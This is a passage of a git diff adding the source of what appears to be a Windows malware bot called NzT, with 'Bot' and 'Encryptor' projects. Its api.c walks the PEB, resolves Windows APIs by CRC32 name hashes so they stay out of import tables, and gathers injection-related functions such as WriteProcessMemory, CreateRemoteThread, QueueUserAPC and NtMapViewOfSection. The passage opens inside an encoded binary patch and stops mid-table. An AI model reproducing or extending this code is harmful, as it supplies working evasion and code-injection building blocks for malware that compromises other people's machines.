z;CR2m@g4li`}K+U<-YEFPYgzj!{g#>RC;zGfH6VUCv^Qx>-(O`d%h`qGk&EP*Ft0b z{gvh`GtNf~eFl%l(p4wlpVP$@0vFzg2KO08-hG5$>EF6It{;>ua})Z>R`O_lr-HN3 zn|kITkmtRw9AJ%zsVC+P1BIL^a?jlO=?>Ee1G?70TWLqq&m!&vbCJn3mM14a0XH2> zn69{O^%;Kc!$qdAeU4x2yP$;^|AmP^rQ-Bb#6c+NX{8=cUjakcJ5$iXw9UW4uRPwM zUz~o2ql?-G)qLL>+$(2!VpTw<&jDdc0hnN0jA>T*EplGyL)QT=2tGvN!k= z?#s-5<>Ze}^afymUaV{Or3`km#*)Qb1irj!M%mrN!?L2|Sk-kGUcLJKVDP`9mxuoz zga4GlM=Wm(rzG^({gk76B}11>@867H8OyJ4Rl?Mw>xDct5lL9j{LHOymL7}C3uk-M z(WgcEwDf49?ejZjYQNx0U94XmrZ2Iut#2%Odg5WnFxC?Nbmikvx{n_O59RT2b{vnx z=3|Uh{Dqxu)kQvR8<%5x_6Io@(_d}UxP6~GYMx5?Q%Q4=p>8+@g*}kx-CfEj0~BF35{U^CpByJ}TI8Vi5ig6uZB9j%H{uTtq4&@(S~L^@9R( zQqzWYPfg2W6Lazu&D9GZN=G;n2^EDS#grW`D0274cbodBruA+37i(G-HvTsJuL8*` z&M(Lf`eS{$u;8=b{Q7$9bw^OQt|gQ5^7D9aJ9GHZ!$LWtr9cEyxu_mdAq9V<2;&=6#69yhHh%bCf&GzLd>hrV1UDFW3GS}%c^%aJ9>aGIPHmjcXX3I1w;1;(ZVPVbLhMZNorukwZG3m&w&OP8 z-og#|1sgsltQ~jvmjQd;Hs*QQH@FEq0~?OQh5+^ww!X#MBlq{uy%;+zU9b^zEqB_v zTi*H`>`mNnOFi!RZ)k#Ty-Tr;i2aGo#+JOMwh?Zz<+2j&JbjAYr{}RJwgo$P+?_s! zg_+ThJ2I`0E&syqO(X7ucir#Ef3TlYvnKcandn{%J@4jT{|@X#jOm5V0_-e2vxRw8 zXY6yK8+BUh$U?%;KEsx|Uts^G26xG^_0#2UM@B4X?d&`1Ut6Txdh9C*Hmh257rX^` z-aBCeVUuBwEor2=0ND;`J8y%0s%C_Y->aPS!wISn}dL?)1Y)i<@F6?`Q7t z@4`0NcI->=yB}vpe?&Jty9&0P&ZJzVP43Is-3dC9ordj(SGcEsku3*lpF!9y+KQcs zkyE+%-kyDv-Pjy##hPXcckDkVZ4X--jKB_J0Ny%Cd=qRq48$f_Gi*6=SH0gJbV2UI zSFVkn0qFhy0qimSQ{>#G!2W|f?yqC_26%0-NmCPgo{W3)TlxXty11%e(&l{IcC@5E z-_vl7a4R2X{=~N#t_iL`t}kv7ZXj+KwvvYO9gG`+`x$y)$hX5TY*O%Dd?EH0_y%wn zEyLy=-%k!*dvaFRaC$4`0oz`6l+n<`=rWpMPFuOM0J*O$_3+94%uL?k!xE%dt7ZcMEPSZchjs z1~)tM5x+lE{|fkY1#*Dj+i^W+(!cr63L%@YxiN)y{u2KixYux6?wnEB$m6T!?x=|fphz2S$2omjso{NK3M@U;);ocY+knQ2L{{p{@!_f0$4e4QnO zUcxRK{)x2XG0fdhZ^RiZzQ^He;A-L;q9myLB$G$?KfWE&7n++r2!;$oJ`mVhX zn~|T;cbJptpPrjKD%Jg&{FkIak^)HzBq@-jK#~GU3M46zq`+Y*ka+(;j2>B=eVD3c z?*Bi-KBziXH{ax|e-*O#$^v0#Fw9zTM0Y~m_59-$2oCd)?ppjw#$OqK1)U*afvqqG zZ#w1c+W!X`9=zL(e>QU_-3!n=F&clp@#`HE_490>8^6r>r{S*Q;h*P(FZDdYEMQc`ISu!mly{z(H#6rqX--3 zO2eBB9yOQ}A7OpGEpNkTw^NSp^RZ;$mivS$m!&?}uNE1!zG34(+4yfV{!Yff$@taA zp{BCPK{F&W6|8(QuZsM;s z{!V6p`ymdHD1R!>O6z~(*Yajx;Q1dl{s)YI1AeXZbd!FQ@nc%EqUt;>zfVZt?u89K z`S=bn^sMnsz^o8?SCGjjqQ1vl>^?0V^|-|4#Vx=(2Usk9yY%?b_}dx(NBEWg>Bj#B zex=tSHm8(+Ul~73Nq>7U#+=V``<}bIucw$3&Q9*3%yWTpl!5sher*Fxp@N6ESFim& z5OB{37#k^LLd5~^SWi|Yk~KLnLEn^)owuswrH=;l@&d)|8*`)SFXBq{Gy=A*Jvepa za1?-n<(XHBgmUxr4QT(2h1wYj1jhn6FDE#59LI~|aTgM&_Z7MZ$Cu?ZJUI8`Ee#&skljH;1L*nJhBJ_N^T7OTGoQg^=$zkUR}b@Rhx z_ zG>O-_X#+o<2Q#6pQrG_D=^iaxo?iRbtAu*>n>zcrtu31_!@s&6PxB|38F7;WrSa;) zTe6YxWWSz1Arj#I3wS+36Y{u&9xcf5&(L+F-;ayY>y^YbJ+K%>b-6q@Cd3&bUv9jX zn8v&BHYm4DS|7K!6Vq}5&3o+EyT7Wm@XP#&bOBEUnUjd-%u%?=m7to|FZ0i7z5Bm@ zQeXCL(=sRcr_sE7!+#N1>fUpieD2+5pCA1=4`TfOb?NZZ_pf)kc*IXsCd$rl%fx9; zA4ikVKZxnxmHvykQg^fWxU`%Q^)n{ID^q5vdY6eSb*KA#56@tEWtNT8j6S{gd-=Q* zeF=3d9bTGV2Yj0NM5gWidY6fF@%Lfb=z#GXDseiN4lfO>bev)yzi;QTmurrt#^jVq z?_(Cjt5mpxNWl4M7q6&)=e^YZ_1dN4;%9j^e1e|^oV1RrGo<4B<@NJ)6qaELX=knlHyfg>7T(RIu-htAW$Ai;&s1lY|=So;{`rJ)%e3u}_L) z>t5>ORDVJR!XAYOi|zm9Uy=ez3M46zq(G7aNeUz>kfcD80!a!aDUhTkfcD80!a$|AE&_o19X}CmH+?% literal 0 HcmV?d00001 diff --git a/src/NzT.sln b/src/NzT.sln new file mode 100644 index 0000000..3b2ef35 --- /dev/null +++ b/src/NzT.sln @@ -0,0 +1,43 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28307.1778 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Bot", "Bot\Bot.vcxproj", "{4415A846-1C99-4260-960D-40E141837813}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Encryptor", "Encryptor\Encryptor.vcxproj", "{7931DABA-686D-4B7A-BEF9-DD52F1469367}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Shared", "Shared\Shared.vcxitems", "{AF96A04D-24AE-4A4D-BF5E-396969DD48D5}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4415A846-1C99-4260-960D-40E141837813}.Debug|x64.ActiveCfg = Debug|x64 + {4415A846-1C99-4260-960D-40E141837813}.Debug|x64.Build.0 = Debug|x64 + {4415A846-1C99-4260-960D-40E141837813}.Debug|x86.ActiveCfg = Debug|Win32 + {4415A846-1C99-4260-960D-40E141837813}.Debug|x86.Build.0 = Debug|Win32 + {4415A846-1C99-4260-960D-40E141837813}.Release|x64.ActiveCfg = Release|x64 + {4415A846-1C99-4260-960D-40E141837813}.Release|x64.Build.0 = Release|x64 + {4415A846-1C99-4260-960D-40E141837813}.Release|x86.ActiveCfg = Release|Win32 + {4415A846-1C99-4260-960D-40E141837813}.Release|x86.Build.0 = Release|Win32 + {7931DABA-686D-4B7A-BEF9-DD52F1469367}.Debug|x64.ActiveCfg = Debug|x64 + {7931DABA-686D-4B7A-BEF9-DD52F1469367}.Debug|x64.Build.0 = Debug|x64 + {7931DABA-686D-4B7A-BEF9-DD52F1469367}.Debug|x86.ActiveCfg = Debug|Win32 + {7931DABA-686D-4B7A-BEF9-DD52F1469367}.Debug|x86.Build.0 = Debug|Win32 + {7931DABA-686D-4B7A-BEF9-DD52F1469367}.Release|x64.ActiveCfg = Release|x64 + {7931DABA-686D-4B7A-BEF9-DD52F1469367}.Release|x64.Build.0 = Release|x64 + {7931DABA-686D-4B7A-BEF9-DD52F1469367}.Release|x86.ActiveCfg = Release|Win32 + {7931DABA-686D-4B7A-BEF9-DD52F1469367}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {FA4446C5-33AE-4057-924B-275413E3F532} + EndGlobalSection +EndGlobal diff --git a/src/Shared/Shared.vcxitems b/src/Shared/Shared.vcxitems new file mode 100644 index 0000000..547bc5a --- /dev/null +++ b/src/Shared/Shared.vcxitems @@ -0,0 +1,56 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {af96a04d-24ae-4a4d-bf5e-396969dd48d5} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/Shared/Shared.vcxitems.filters b/src/Shared/Shared.vcxitems.filters new file mode 100644 index 0000000..a269c7f --- /dev/null +++ b/src/Shared/Shared.vcxitems.filters @@ -0,0 +1,174 @@ + + + + + {cc068487-d631-4e61-9f68-2fa2c1f11322} + + + {f5f6420f-8b4a-4990-be0c-1d342067c5f7} + + + {09d0bf83-00c3-4e18-9b9f-67fc5fb13943} + + + {25223bc2-b036-4a6d-a7b8-195dfdb14eea} + + + {ca2adc11-29d3-4401-b227-5231d7e7d185} + + + {92e8370c-86f4-4b68-b952-e727b6a0dcd7} + + + {52f926e4-cffc-4a0d-bca3-b9bf07d57ddf} + + + {eee9a8a8-a051-4952-9042-c31f94a4bceb} + + + {5b446af7-5f09-4a6e-a5f8-d605212cf980} + + + {dd700a08-7a46-4cc0-b3bf-fc0afecb0c92} + + + {90a6a14c-60d3-4b1c-a00e-548eed34e683} + + + {7fd18cc1-3d1d-4f0e-8c84-8e42f370e27e} + + + {fd0ea3c8-6283-4370-9b9a-e281a72ed3a1} + + + {56903e19-ce18-43f9-914f-effad4538614} + + + {54282a96-01f7-40c5-a819-7bd9ebb9ffcf} + + + {2db74972-0780-4da0-8933-eb857eac7824} + + + {c69bfb8b-417e-402c-8f3e-a9f0924a898c} + + + {7e9fd5c7-48da-4ce1-a2a3-8944c0340585} + + + {fcdfea01-acdf-421f-82e6-e8fc6ad10476} + + + + + Header Files\Config + + + Header Files\Utilities + + + Header Files\Config + + + Header Files\Utilities + + + Header Files\Misc + + + Header Files\API + + + Header Files\API\ntdll + + + Header Files\API\ntdll + + + Header Files\API\user32 + + + Header Files\API\user32 + + + Header Files\API\wininet + + + Header Files\API\wininet + + + Header Files\API\kernel32 + + + Header Files\API\advapi32 + + + Header Files\API\shell32 + + + Header Files\API\shell32 + + + Header Files\API\advapi32 + + + Header Files\API\kernel32 + + + Header Files\Core + + + Header Files\Utilities + + + Header Files\Config + + + Header Files\Utilities + + + Header Files\Utilities + + + Header Files\Core + + + Header Files\Crypto + + + + + Source Files\Utilities + + + Source Files\Utilities + + + Source Files\Utilities + + + Source Files\API + + + Source Files\Core + + + Source Files\Core + + + Source Files\Config + + + Source Files\Utilities + + + Source Files\Utilities + + + Source Files\Core + + + Source Files\Crypto + + + \ No newline at end of file diff --git a/src/Shared/advapi32_functions.h b/src/Shared/advapi32_functions.h new file mode 100644 index 0000000..1f1b594 --- /dev/null +++ b/src/Shared/advapi32_functions.h @@ -0,0 +1,11 @@ +#ifndef __ADVAPI32_FUNCTIONS_H__ +#define __ADVAPI32_FUNCTIONS_H__ + +#include + +typedef BOOL(WINAPI* ptGetUserNameA)( + _Out_writes_to_opt_(*pcbBuffer, *pcbBuffer) LPSTR lpBuffer, + _Inout_ LPDWORD pcbBuffer + ); + +#endif //__ADVAPI32_FUNCTIONS_H__ \ No newline at end of file diff --git a/src/Shared/advapi32_hash.h b/src/Shared/advapi32_hash.h new file mode 100644 index 0000000..3df3803 --- /dev/null +++ b/src/Shared/advapi32_hash.h @@ -0,0 +1,7 @@ +#ifndef __ADVAPI32_HASH_H__ +#define __ADVAPI32_HASH_H__ + +#define HASH_ADVAPI32 0x929b1529 +#define HASH_ADVAPI32_GETUSERNAMEA 0x59761a93 + +#endif //__ADVAPI32_HASH_H__ \ No newline at end of file diff --git a/src/Shared/api.c b/src/Shared/api.c new file mode 100644 index 0000000..aec89fd --- /dev/null +++ b/src/Shared/api.c @@ -0,0 +1,358 @@ +#ifdef _DEBUG +#include +#endif + +#include "api.h" +#include "utils.h" +#include "nzt.h" +#include "ntdll.h" + +//implement heavens gate to handle x86<->x64 dynamic function resolving +HMODULE GetModuleHandleByHash(DWORD Hash) +{ + LDR_MODULE* Module = NULL; + DWORD CurrentHash; + DWORD Length; + + _asm + { + MOV EAX, FS:[0x18]; + MOV EAX, [EAX + 0x30]; + MOV EAX, [EAX + 0x0C]; + MOV EAX, [EAX + 0x0C]; + MOV Module, EAX; + } + + while (Module->BaseAddress) + { + LPWSTR LowerCase = StringToLowerW(Module->BaseDllName.Buffer, Module->BaseDllName.Length); + + Length = StringLengthW(LowerCase) * 2; + CurrentHash = Crc32Hash(LowerCase, Length); + + if (CurrentHash == Hash) + { + return (HMODULE)Module->BaseAddress; + } + + Module = (PLDR_MODULE)(struct ModuleInfoNode*)Module->InLoadOrderModuleList.Flink; + } + + return (HMODULE)NULL; +} + +BOOL GetModules() +{ + DWORD i; + + API_MODULE ModuleList[] = + { + {HASH_KERNEL32, &NzT.Modules.Kernel32} + }; + + for (i = 0; i < sizeof(ModuleList) / sizeof(API_MODULE); i++) + { + if ((*ModuleList[i].Module = GetModuleHandleByHash(ModuleList[i].ModuleHash)) == 0) + { + return FALSE; + } + } + + return TRUE; +} + +BOOL LoadNtdllModule() +{ + API_MODULE ModuleList[] = + { + {HASH_NTDLL, &NzT.Modules.Ntdll} + }; + + for (DWORD i = 0; i < sizeof(ModuleList) / sizeof(API_MODULE); i++) + { + if ((*ModuleList[i].Module = GetModuleHandleByHash(ModuleList[i].ModuleHash)) == 0) + { + return FALSE; + } + } + + return TRUE; +} + +BOOL LoadNtdll() +{ + API_T ApiList[] = + { + {HASH_NTDLL_RTLGETVERSION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlGetVersion}, + {HASH_NTDLL_NTCREATETHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtCreateThread}, + {HASH_NTDLL_NTQUERYINFORMATIONPROCESS, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryInformationProcess}, + {HASH_NTDLL_NTQUERYINFORMATIONTHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryInformationThread}, + {HASH_NTDLL_NTCREATEUSERPROCESS, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtCreateUserProcess}, + {HASH_NTDLL_NTMAPVIEWOFSECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtMapViewOfSection}, + {HASH_NTDLL_NTCREATESECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtCreateSection}, + {HASH_NTDLL_LDRLOADDLL, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pLdrLoadDll}, + {HASH_NTDLL_LDRGETDLLHANDLE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pLdrGetDllHandle}, + {HASH_NTDLL_NTWRITEVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtWriteVirtualMemory}, + {HASH_NTDLL_NTALLOCATEVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtAllocateVirtualMemory}, + {HASH_NTDLL_NTPROTECTVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtProtectVirtualMemory}, + {HASH_NTDLL_NTDEVICEIOCONTROLFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtDeviceIoControlFile}, + {HASH_NTDLL_NTSETCONTEXTTHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtSetContextThread}, + {HASH_NTDLL_NTOPENPROCESS, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtOpenProcess}, + {HASH_NTDLL_NTCLOSE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtClose}, + {HASH_NTDLL_NTCREATEFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtCreateFile}, + {HASH_NTDLL_NTOPENFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtOpenFile}, + {HASH_NTDLL_NTDELETEFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtDeleteFile}, + {HASH_NTDLL_NTREADVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtReadVirtualMemory}, + {HASH_NTDLL_NTQUERYVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryVirtualMemory}, + {HASH_NTDLL_NTOPENTHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtOpenThread}, + {HASH_NTDLL_NTRESUMETHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtResumeThread}, + {HASH_NTDLL_NTFREEVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtFreeVirtualMemory}, + {HASH_NTDLL_NTFLUSHINSTRUCTIONCACHE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtFlushInstructionCache}, + {HASH_NTDLL_RTLRANDOMEX, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlRandomEx}, + {HASH_NTDLL_NTQUERYSYSTEMINFORMATION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQuerySystemInformation}, + {HASH_NTDLL_LDRQUERYPROCESSMODULEINFORMATION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pLdrQueryProcessModuleInformation}, + {HASH_NTDLL_RTLINITUNICODESTRING, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlInitUnicodeString}, + {HASH_NTDLL_NTWRITEFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtWriteFile}, + {HASH_NTDLL_NTREADFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtReadFile}, + {HASH_NTDLL_NTDELAYEXECUTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtDelayExecution}, + {HASH_NTDLL_NTOPENKEY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtOpenKey}, + {HASH_NTDLL_NTSETVALUEKEY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtSetValueKey}, + {HASH_NTDLL_NTQUERYVALUEKEY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryValueKey}, + {HASH_NTDLL_RTLFORMATCURRENTUSERKEYPATH, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlFormatCurrentUserKeyPath}, + {HASH_NTDLL_NTQUERYINFORMATIONFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryInformationFile} + }; + + for (DWORD i = 0; i < sizeof(ApiList) / sizeof(API_T); i++) + { + *ApiList[i].Function = GetProcAddressByHash(*ApiList[i].Module, ApiList[i].FunctionHash); + } + + return TRUE; +} + + +HMODULE LoadLibraryByHash(DWORD Hash){ + LPWSTR SystemDirectory; + WIN32_FIND_DATAW Data; + HANDLE File; + DWORD CurrentHash; + HMODULE Module; + + if ((SystemDirectory = GetSystem32()) == NULL) + return 0; + + if (!StringConcatW(&SystemDirectory, L"\\*.dll")) + return 0; + + Module = 0; + + MemoryZero(&Data, sizeof(WIN32_FIND_DATAW)); + + if ((File = API(FindFirstFileW(SystemDirectory, &Data))) != INVALID_HANDLE_VALUE) + { + while (TRUE) + { + if (!API(FindNextFileW(File, &Data))) + break; + + if (File == INVALID_HANDLE_VALUE) + break; + + CurrentHash = Crc32Hash(Data.cFileName, StringLengthW(Data.cFileName) * 2); + + if (CurrentHash == Hash) + { + Module = API(LoadLibraryW(Data.cFileName)); + break; + } + } + } + + Free(SystemDirectory); + return Module; +} + +LPVOID GetProcAddressByHash( + HMODULE Module, + DWORD Hash +) +{ +#if defined _WIN64 + PIMAGE_NT_HEADERS64 NtHeaders; +#else + PIMAGE_NT_HEADERS32 NtHeaders; +#endif + + PIMAGE_DATA_DIRECTORY DataDirectory; + PIMAGE_EXPORT_DIRECTORY ExportDirectory; + + LPDWORD Name; + DWORD i, CurrentHash; + LPSTR Function; + LPWORD pw; + + if (Module == NULL) + return NULL; + +#if defined _WIN64 + NtHeaders = (PIMAGE_NT_HEADERS64)((LPBYTE)Module + ((PIMAGE_DOS_HEADER)Module)->e_lfanew); +#else + NtHeaders = (PIMAGE_NT_HEADERS32)((LPBYTE)Module + ((PIMAGE_DOS_HEADER)Module)->e_lfanew); +#endif + + DataDirectory = &NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)Module + DataDirectory->VirtualAddress); + + for (i = 0; i < ExportDirectory->NumberOfNames; i++) + { + Name = (LPDWORD)(((LPBYTE)Module) + ExportDirectory->AddressOfNames + i * sizeof(DWORD)); + Function = (LPSTR)((LPBYTE)Module + *Name); + + CurrentHash = Crc32Hash(Function, StringLengthA(Function)); + + if (Name && Function && CurrentHash == Hash) + { + pw = (LPWORD)(((LPBYTE)Module) + ExportDirectory->AddressOfNameOrdinals + i * sizeof(WORD)); + Name = (LPDWORD)(((LPBYTE)Module) + ExportDirectory->AddressOfFunctions + (*pw) * sizeof(DWORD)); + return ((LPBYTE)Module + *Name); + } + } + + return NULL; +} + +BOOL LoadModules() +{ + API_MODULE ModuleList[] = + { + {HASH_USER32, &NzT.Modules.User32}, + {HASH_WININET, &NzT.Modules.Wininet}, + {HASH_SHELL32, &NzT.Modules.Shell32}, + {HASH_ADVAPI32, &NzT.Modules.Advapi32} + }; + + for (DWORD i = 0; i < sizeof(ModuleList) / sizeof(API_MODULE); i++) + { + if ((*ModuleList[i].Module = LoadLibraryByHash(ModuleList[i].ModuleHash)) == 0) + return FALSE; + } + + return TRUE; +} + +BOOL LoadKernel32() +{ + API_T ApiList[] = + { + { HASH_KERNEL32_VIRTUALALLOC, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualAlloc }, + {HASH_KERNEL32_VIRTUALFREE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualFree }, + {HASH_KERNEL32_WRITEPROCESSMEMORY, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pWriteProcessMemory }, + {HASH_KERNEL32_CREATETOOLHELP32SNAPSHOT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateToolhelp32Snapshot }, + {HASH_KERNEL32_VIRTUALALLOCEX, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualAllocEx }, + {HASH_KERNEL32_VIRTUALFREEEX, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualFreeEx }, + {HASH_KERNEL32_PROCESS32FIRSTW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pProcess32FirstW }, + {HASH_KERNEL32_PROCESS32NEXTW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pProcess32NextW }, + {HASH_KERNEL32_CLOSEHANDLE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCloseHandle }, + {HASH_KERNEL32_CREATEPROCESSW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateProcessW }, + {HASH_KERNEL32_VIRTUALPROTECT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualProtect }, + {HASH_KERNEL32_OPENPROCESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOpenProcess }, + {HASH_KERNEL32_CREATEREMOTETHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateRemoteThread }, + {HASH_KERNEL32_EXITPROCESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pExitProcess }, + {HASH_KERNEL32_GETMODULEFILENAMEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetModuleFileNameW }, + {HASH_KERNEL32_DELETEFILEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pDeleteFileW }, + {HASH_KERNEL32_LOADLIBRARYW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pLoadLibraryW }, + {HASH_KERNEL32_ISWOW64PROCESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pIsWow64Process }, + {HASH_KERNEL32_GETWINDOWSDIRECTORYW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetWindowsDirectoryW }, + {HASH_KERNEL32_QUEUEUSERAPC, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pQueueUserAPC }, + {HASH_KERNEL32_RESUMETHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pResumeThread }, + {HASH_KERNEL32_GETSYSTEMDIRECTORYW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetSystemDirectoryW }, + {HASH_KERNEL32_FINDFIRSTFILEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFindFirstFileW }, + {HASH_KERNEL32_FINDNEXTFILEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFindNextFileW }, + {HASH_KERNEL32_CREATETHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateThread}, + {HASH_KERNEL32_CREATEFILEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateFileW}, + {HASH_KERNEL32_WRITEFILE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pWriteFile}, + {HASH_KERNEL32_READFILE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pReadFile}, + {HASH_KERNEL32_GETFILESIZE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetFileSize}, + {HASH_KERNEL32_GETVERSIONEXW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetVersionExW}, + {HASH_KERNEL32_FINDFIRSTVOLUMEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFindFirstVolumeW}, + {HASH_KERNEL32_GETVOLUMEINFORMATIONW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetVolumeInformationW}, + {HASH_KERNEL32_FINDVOLUMECLOSE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFindVolumeClose}, + {HASH_KERNEL32_MULTIBYTETOWIDECHAR, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pMultiByteToWideChar}, + {HASH_KERNEL32_GETMODULEHANDLEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetModuleHandleW}, + {HASH_KERNEL32_FLUSHINSTRUCTIONCACHE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFlushInstructionCache}, + {HASH_KERNEL32_GETCURRENTPROCESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetCurrentProcess}, + {HASH_KERNEL32_THREAD32FIRST, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pThread32First}, + {HASH_KERNEL32_THREAD32NEXT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pThread32Next}, + {HASH_KERNEL32_OPENMUTEXW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOpenMutexW}, + {HASH_KERNEL32_CREATEMUTEXW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateMutexW}, + {HASH_KERNEL32_VIRTUALQUERY, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualQuery}, + {HASH_KERNEL32_GETCURRENTPROCESSID, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetCurrentProcessId}, + {HASH_KERNEL32_CREATEFILEMAPPINGW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateFileMappingW}, + {HASH_KERNEL32_MAPVIEWOFFILE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pMapViewOfFile}, + {HASH_KERNEL32_UNMAPVIEWOFFILE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pUnmapViewOfFile}, + {HASH_KERNEL32_DUPLICATEHANDLE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pDuplicateHandle}, + {HASH_KERNEL32_GETCURRENTTHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetCurrentThread}, + {HASH_KERNEL32_FLUSHFILEBUFFERS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFlushFileBuffers}, + {HASH_KERNEL32_DISCONNECTNAMEDPIPE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pDisconnectNamedPipe}, + {HASH_KERNEL32_GETPROCADDRESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetProcAddress}, + {HASH_KERNEL32_RTLINITIALIZECRITICALSECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlInitializeCriticalSection}, + 